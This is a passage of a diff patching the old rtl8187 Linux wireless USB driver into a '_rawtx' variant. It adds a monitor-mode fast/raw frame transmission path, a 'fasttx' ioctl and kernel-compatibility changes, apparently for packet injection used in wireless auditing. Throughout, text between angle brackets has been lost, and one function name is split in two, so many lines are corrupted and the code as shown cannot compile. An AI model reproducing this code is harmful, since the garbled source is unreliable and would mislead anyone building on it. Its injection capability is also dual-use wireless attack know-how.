r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-02-15 00:37:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct 